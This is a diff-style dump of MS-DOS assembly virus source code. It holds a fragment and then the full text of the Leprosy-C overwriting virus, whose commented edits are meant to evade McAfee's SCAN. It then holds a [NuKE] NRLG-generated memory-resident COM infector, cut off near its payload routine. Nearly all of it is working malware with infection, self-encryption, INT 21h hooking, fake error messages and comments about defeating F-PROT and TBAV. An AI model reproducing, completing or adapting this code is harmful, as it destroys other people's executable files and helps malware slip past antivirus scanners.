mov ax,ds ; Transfer the DS register...
|
||||
mov es,ax ; ...to the ES register
|
||||
cld
|
||||
repe cmpsb ; Compare the buffer to the virus
|
||||
jne healthy ; If different, the file is healthy!
|
||||
call close_file ; Close it up otherwise
|
||||
inc files_found ; Chalk up another fucked up file
|
||||
continue_search:
|
||||
mov ah,4fh ; Find next DOS function
|
||||
int 21h ; Try to find another same type file
|
||||
cmp ax,12h ; Are there any more files?
|
||||
je no_more_found ; If not, get outta here
|
||||
jmp find_healthy ; If so, try the process on this one!
|
||||
no_more_found:
|
||||
ret ; Go back to where we came from
|
||||
healthy:
|
||||
mov bx,handle ; Get the file handle
|
||||
mov ah,3eh ; Close it for now
|
||||
int 21h
|
||||
mov ah,3dh ; Open it again, to reset it
|
||||
mov dx,dta+filename
|
||||
mov al,2
|
||||
int 21h
|
||||
mov handle,ax ; Save the handle again
|
||||
call infect_file ; Infect the healthy file
|
||||
call close_file ; Close down this operation
|
||||
inc success ; Indicate we did something this time
|
||||
dec files_infected ; Scratch off another file on agenda
|
||||
jz exit_virus ; If we're through, terminate
|
||||
jmp continue_search ; Otherwise, try another
|
||||
ret
|
||||
close_file:
|
||||
mov bx,handle ; Get the file handle off the stack
|
||||
mov cx,orig_time ; Get the date stamp
|
||||
mov dx,orig_date ; Get the time stamp
|
||||
mov al,1 ; Set file date/time sub-service
|
||||
mov ah,57h ; Get/Set file date and time service
|
||||
int 21h ; Call DOS
|
||||
mov bx,handle
|
||||
mov ah,3eh ; Close handle DOS service
|
||||
int 21h
|
||||
mov cx,orig_attr ; Get the file's original attribute
|
||||
mov al,1 ; Instruct DOS to put it back there
|
||||
mov dx,dta+filename ; Feed it the filename
|
||||
mov ah,43h ; Call DOS
|
||||
int 21h
|
||||
ret
|
||||
exit_virus:
|
||||
cmp files_found,6 ; Are at least 6 files infected?
|
||||
jl print_fake ; If not, keep a low profile
|
||||
cmp success,0 ; Did we infect anything?
|
||||
jg print_fake ; If so, cover it up
|
||||
mov ah,09h ; Use DOS print string service
|
||||
mov dx,offset virus_msg1 ; Load the address of the first line
|
||||
int 21h ; Print it
|
||||
mov dx,offset virus_msg2 ; Load the second line
|
||||
int 21h ; (etc)
|
||||
mov dx,offset virus_msg3
|
||||
int 21h
|
||||
mov dx,offset virus_msg4
|
||||
int 21h
|
||||
jmp terminate
|
||||
print_fake:
|
||||
mov ah,09h ; Use DOS to print fake error message
|
||||
mov dx,offset fake_msg
|
||||
int 21h
|
||||
terminate:
|
||||
mov ah,4ch ; DOS terminate process function
|
||||
int 21h ; Call DOS to get out of this program
|
||||
|
||||
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,297 @@
|
||||
; <LEPROSYB.ASM> - Leprosy-B Virus Source
|
||||
; Copy-ya-right (c) 1990 by PCM2.
|
||||
;
|
||||
; This file is the source code to the Leprosy-B virus. It should
|
||||
; be assembled with an MASM-compatible assembler; it has been tested
|
||||
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
|
||||
; It should be made into a .COM file before executing, with either
|
||||
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
|
||||
;
|
||||
; This program has the potential to permanently destroy executable
|
||||
; images on any disk medium. Other modifications may have been made
|
||||
; subsequent to the original release by the author, either benign,
|
||||
; or which could result in further harm should this program be run.
|
||||
; In any case, the author assumes no responsibility for any damage
|
||||
; caused by this program, incidental or otherwise. As a precaution,
|
||||
; this program should not be turned over to irresponsible hands...
|
||||
; (unlike people like us, that is).
|
||||
;
|
||||
;;-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-
|
||||
;;
|
||||
;; <LEPROSYC.ASM> - This virus is not really Leprosy-B. It is, in
|
||||
;; fact, ALMOST the same. When I encountered the
|
||||
;; source code and assembled it, I found, obviously
|
||||
;; to my disappointment, that SCAN v77 could find
|
||||
;; it. Since it is a self-encrypting virus, I knew
|
||||
;; EXACTLY how to fix this problem (after all,
|
||||
;; being part of McPhee's programs is a sure way to
|
||||
;; know that your virus has been a big hit, but it
|
||||
;; also means that it will soon meet a terrible end.
|
||||
;; Presented with such a sad situation, I decided I
|
||||
;; would modify the virus to give it one more shot
|
||||
;; at the outside world. Not only that, but I will
|
||||
;; make TWO new versions. This one, in particular,
|
||||
;; will preserve the traditional length of 666, and
|
||||
;; will only have a slight modification. You see,
|
||||
;; since the virus encrypts itself, McPhee must go
|
||||
;; on 1 or both of two paths. He must either use
|
||||
;; the whole non-encrypted portion as an ID string,
|
||||
;; or he must use the file offset where the value
|
||||
;; for decrypting is normally stored, XOR it with
|
||||
;; the rest of the program (this is how it encrypts
|
||||
;; and decrypts itself), and then try to identify
|
||||
;; the decrypted code as the virus. By changing
|
||||
;; where the encryption value is stored in the non-
|
||||
;; encrypted portion and putting a zero there in-
|
||||
;; stead, (along with altering the primary instruc-
|
||||
;; tions slightly), I have made it undetectable by
|
||||
;; SCAN, despite the fact that it is (in all other
|
||||
;; aspects) the same damn thing.
|
||||
;; Have fun!
|
||||
;; The BOOT SECTOR Infector...
|
||||
;;
|
||||
;; NOTE: Also, (in case you haven't already noticed) all of the changes
|
||||
;; I make to this program will have a double semicolon (;;) on
|
||||
;; them somewhere. This is to reinforce the fact that I DID
|
||||
;; NOT do the original work on this virus. That credit is left
|
||||
;; appropriately to PCM2. And I respect his brilliance in its
|
||||
;; coding (especially the encrypt/decrypt portion!) <grin!>
|
||||
;; L8r peepz!
|
||||
;;
|
||||
|
||||
|
||||
|
||||
title "Leprosy-C Virus by PCM2, August 1990"
|
||||
;; With additional modifications by TBSI, June 1991
|
||||
|
||||
|
||||
cr equ 13 ; Carriage return ASCII code
|
||||
lf equ 10 ; Linefeed ASCII code
|
||||
tab equ 9 ; Tab ASCII code
|
||||
virus_size equ 666 ; Size of the virus file
|
||||
code_start equ 100h ; Address right after PSP in memory
|
||||
dta equ 80h ; Addr of default disk transfer area
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
code segment 'code' ; Open code segment
|
||||
assume cs:code,ds:code ; One segment for both code & data
|
||||
org code_start ; Start code image after PSP
|
||||
|
||||
;---------------------------------------------------------------------
|
||||
; All executable code is contained in boundaries of procedure "main".
|
||||
; The following code, until the start of "virus_code", is the non-
|
||||
; encrypted CMT portion of the code to load up the real program.
|
||||
;---------------------------------------------------------------------
|
||||
main proc near ; Code execution begins here
|
||||
call encrypt_decrypt ; Decrypt the real virus code
|
||||
jmp random_mutation ; Put the virus into action
|
||||
db 0 ;; This line inserted by TBSI. If
|
||||
;; McPhee uses the second technique
|
||||
;; described in my speech, then it
|
||||
;; will find the zero and consider
|
||||
;; it to be the value it wants, even
|
||||
;; though using a zero will make it
|
||||
;; do absolutely NOTHING!
|
||||
encrypt_val db 00h ; Hold value to encrypt by here
|
||||
|
||||
; ---------- Encrypt, save, and restore the virus code -----------
|
||||
infect_file:
|
||||
mov bx,handle ; Get the handle
|
||||
push bx ; Save it on the stack
|
||||
call encrypt_decrypt ; Encrypt most of the code
|
||||
pop bx ; Get back the handle
|
||||
nop ;; Added by TBSI to through of McPhee
|
||||
mov cx,virus_size ; Total number of bytes to write
|
||||
mov dx,code_start ; Buffer where code starts in memory
|
||||
mov ah,40h ; DOS write-to-handle service
|
||||
int 21h ; Write the virus code into the file
|
||||
call encrypt_decrypt ; Restore the code as it was
|
||||
ret ; Go back to where you came from
|
||||
|
||||
; --------------- Encrypt or decrypt the virus code ----------------
|
||||
encrypt_decrypt:
|
||||
mov bx,offset virus_code ; Get address to start encrypt/decrypt
|
||||
xor_loop: ; Start cycle here
|
||||
mov ah,[bx] ; Get the current byte
|
||||
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
|
||||
mov [bx],ah ; Put it back where we got it
|
||||
inc bx ; Move BX ahead a byte
|
||||
nop ;; Added by TBSI to through of McPhee
|
||||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||
jle xor_loop ; If not, do another cycle
|
||||
ret ; and go back where we came from
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
; The rest of the code from here on remains encrypted until run-time,
|
||||
; using a fundamental XOR technique that changes via CMT.
|
||||
;-----------------------------------------------------------------------
|
||||
virus_code:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; All strings are kept here in the file, and automatically encrypted.
|
||||
; Please don't be a lamer and change the strings and say you wrote a virus.
|
||||
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
|
||||
; changes, even when the strings stay the same.
|
||||
;----------------------------------------------------------------------------
|
||||
exe_filespec db "*.EXE",0
|
||||
com_filespec db "*.COM",0
|
||||
newdir db "..",0
|
||||
fake_msg db cr,lf,"Program too big to fit in memory$"
|
||||
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
|
||||
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
|
||||
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
|
||||
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
|
||||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||
files_found db ?
|
||||
files_infected db ?
|
||||
orig_time dw ?
|
||||
orig_date dw ?
|
||||
orig_attr dw ?
|
||||
handle dw ?
|
||||
success db ?
|
||||
|
||||
random_mutation: ; First decide if virus is to mutate
|
||||
mov ah,2ch ; Set up DOS function to get time
|
||||
int 21h
|
||||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||
je install_val ; If so, install whatever you get.
|
||||
cmp dh,15 ; Is it less than 16 seconds?
|
||||
jg find_extension ; If not, don't mutate this time
|
||||
install_val:
|
||||
cmp dl,0 ; Will we be encrypting using zero?
|
||||
je random_mutation ; If so, get a new value.
|
||||
mov encrypt_val,dl ; Otherwise, save the new value
|
||||
find_extension: ; Locate file w/ valid extension
|
||||
mov files_found,0 ; Count infected files found
|
||||
mov files_infected,4 ; BX counts file infected so far
|
||||
mov success,0
|
||||
find_exe:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je find_com ; If not, nothing more to do
|
||||
call find_healthy ; Otherwise, try to find healthy .EXE
|
||||
find_com:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset com_filespec ; Check for .COM extension now
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je chdir ; If not, step back a directory
|
||||
call find_healthy ; Otherwise, try to find healthy .COM
|
||||
chdir: ; Routine to step back one level
|
||||
mov dx,offset newdir ; Load DX with address of pathname
|
||||
mov ah,3bh ; Change directory DOS service
|
||||
int 21h
|
||||
dec files_infected ; This counts as infecting a file
|
||||
jnz find_exe ; If we're still rolling, find another
|
||||
jmp exit_virus ; Otherwise let's pack it up
|
||||
find_healthy:
|
||||
mov bx,dta ; Point BX to address of DTA
|
||||
mov ax,[bx]+attribute ; Get the current file's attribute
|
||||
mov orig_attr,ax ; Save it
|
||||
mov ax,[bx]+timestamp ; Get the current file's time stamp
|
||||
mov orig_time,ax ; Save it
|
||||
mov ax,[bx]+datestamp ; Get the current file's data stamp
|
||||
mov orig_date,ax ; Save it
|
||||
mov dx,dta+filename ; Get the filename to change attribute
|
||||
mov cx,0 ; Clear all attribute bytes
|
||||
mov al,1 ; Set attribute sub-function
|
||||
mov ah,43h ; Call DOS service to do it
|
||||
int 21h
|
||||
mov al,2 ; Set up to open handle for read/write
|
||||
mov ah,3dh ; Open file handle DOS service
|
||||
int 21h
|
||||
mov handle,ax ; Save the file handle
|
||||
mov bx,ax ; Transfer the handle to BX for read
|
||||
mov cx,20 ; Read in the top 20 bytes of file
|
||||
mov dx,offset compare_buf ; Use the small buffer up top
|
||||
mov ah,3fh ; DOS read-from-handle service
|
||||
int 21h
|
||||
mov bx,offset compare_buf ; Adjust the encryption value
|
||||
mov ah,encrypt_val ; for accurate comparison
|
||||
mov [bx+6],ah
|
||||
mov si,code_start ; One array to compare is this file
|
||||
mov di,offset compare_buf ; The other array is the buffer
|
||||
mov ax,ds ; Transfer the DS register...
|
||||
mov es,ax ; ...to the ES register
|
||||
cld
|
||||
repe cmpsb ; Compare the buffer to the virus
|
||||
jne healthy ; If different, the file is healthy!
|
||||
call close_file ; Close it up otherwise
|
||||
inc files_found ; Chalk up another fucked up file
|
||||
continue_search:
|
||||
mov ah,4fh ; Find next DOS function
|
||||
int 21h ; Try to find another same type file
|
||||
cmp ax,12h ; Are there any more files?
|
||||
je no_more_found ; If not, get outta here
|
||||
jmp find_healthy ; If so, try the process on this one!
|
||||
no_more_found:
|
||||
ret ; Go back to where we came from
|
||||
healthy:
|
||||
mov bx,handle ; Get the file handle
|
||||
mov ah,3eh ; Close it for now
|
||||
int 21h
|
||||
mov ah,3dh ; Open it again, to reset it
|
||||
mov dx,dta+filename
|
||||
mov al,2
|
||||
int 21h
|
||||
mov handle,ax ; Save the handle again
|
||||
call infect_file ; Infect the healthy file
|
||||
call close_file ; Close down this operation
|
||||
inc success ; Indicate we did something this time
|
||||
dec files_infected ; Scratch off another file on agenda
|
||||
jz exit_virus ; If we're through, terminate
|
||||
jmp continue_search ; Otherwise, try another
|
||||
ret
|
||||
close_file:
|
||||
mov bx,handle ; Get the file handle off the stack
|
||||
mov cx,orig_time ; Get the date stamp
|
||||
mov dx,orig_date ; Get the time stamp
|
||||
mov al,1 ; Set file date/time sub-service
|
||||
mov ah,57h ; Get/Set file date and time service
|
||||
int 21h ; Call DOS
|
||||
mov bx,handle
|
||||
mov ah,3eh ; Close handle DOS service
|
||||
int 21h
|
||||
mov cx,orig_attr ; Get the file's original attribute
|
||||
mov al,1 ; Instruct DOS to put it back there
|
||||
mov dx,dta+filename ; Feed it the filename
|
||||
mov ah,43h ; Call DOS
|
||||
int 21h
|
||||
ret
|
||||
exit_virus:
|
||||
cmp files_found,6 ; Are at least 6 files infected?
|
||||
jl print_fake ; If not, keep a low profile
|
||||
cmp success,0 ; Did we infect anything?
|
||||
jg print_fake ; If so, cover it up
|
||||
mov ah,09h ; Use DOS print string service
|
||||
mov dx,offset virus_msg1 ; Load the address of the first line
|
||||
int 21h ; Print it
|
||||
mov dx,offset virus_msg2 ; Load the second line
|
||||
int 21h ; (etc)
|
||||
mov dx,offset virus_msg3
|
||||
int 21h
|
||||
mov dx,offset virus_msg4
|
||||
int 21h
|
||||
jmp terminate
|
||||
print_fake:
|
||||
mov ah,09h ; Use DOS to print fake error message
|
||||
mov dx,offset fake_msg
|
||||
int 21h
|
||||
terminate:
|
||||
mov ah,4ch ; DOS terminate process function
|
||||
int 21h ; Call DOS to get out of this program
|
||||
|
||||
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
||||
|
||||
@@ -0,0 +1,473 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; Liana Virus, created by Gehenna on 20 May 96!
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿsub byte ptr [di],07ch
|
||||
not byte ptr [di]
|
||||
xor word ptr [di],03c11h
|
||||
xor byte ptr [di],069h
|
||||
xor byte ptr [di],0ch
|
||||
xor byte ptr [di],0a2h
|
||||
not word ptr [di]
|
||||
add word ptr [di],05875h
|
||||
inc word ptr [di]
|
||||
add byte ptr [di],049h
|
||||
add word ptr [di],0ecb8h
|
||||
xor byte ptr [di],0f8h
|
||||
add byte ptr [di],083h
|
||||
not word ptr [di]
|
||||
add byte ptr [di],02h
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿcall ANTI_V
|
||||
;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db 'N.R.L.G. by Gehenna'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿsub byte ptr [di],02h
|
||||
not word ptr [di]
|
||||
sub byte ptr [di],083h
|
||||
xor byte ptr [di],0f8h
|
||||
sub word ptr [di],0ecb8h
|
||||
sub byte ptr [di],049h
|
||||
dec word ptr [di]
|
||||
sub word ptr [di],05875h
|
||||
not word ptr [di]
|
||||
xor byte ptr [di],0a2h
|
||||
xor byte ptr [di],0ch
|
||||
xor byte ptr [di],069h
|
||||
xor word ptr [di],03c11h
|
||||
not byte ptr [di]
|
||||
add byte ptr [di],07ch
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;---------------------------------
|
||||
action: ;Call label
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;get date
|
||||
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
|
||||
JE cont ;nop! fuck ret
|
||||
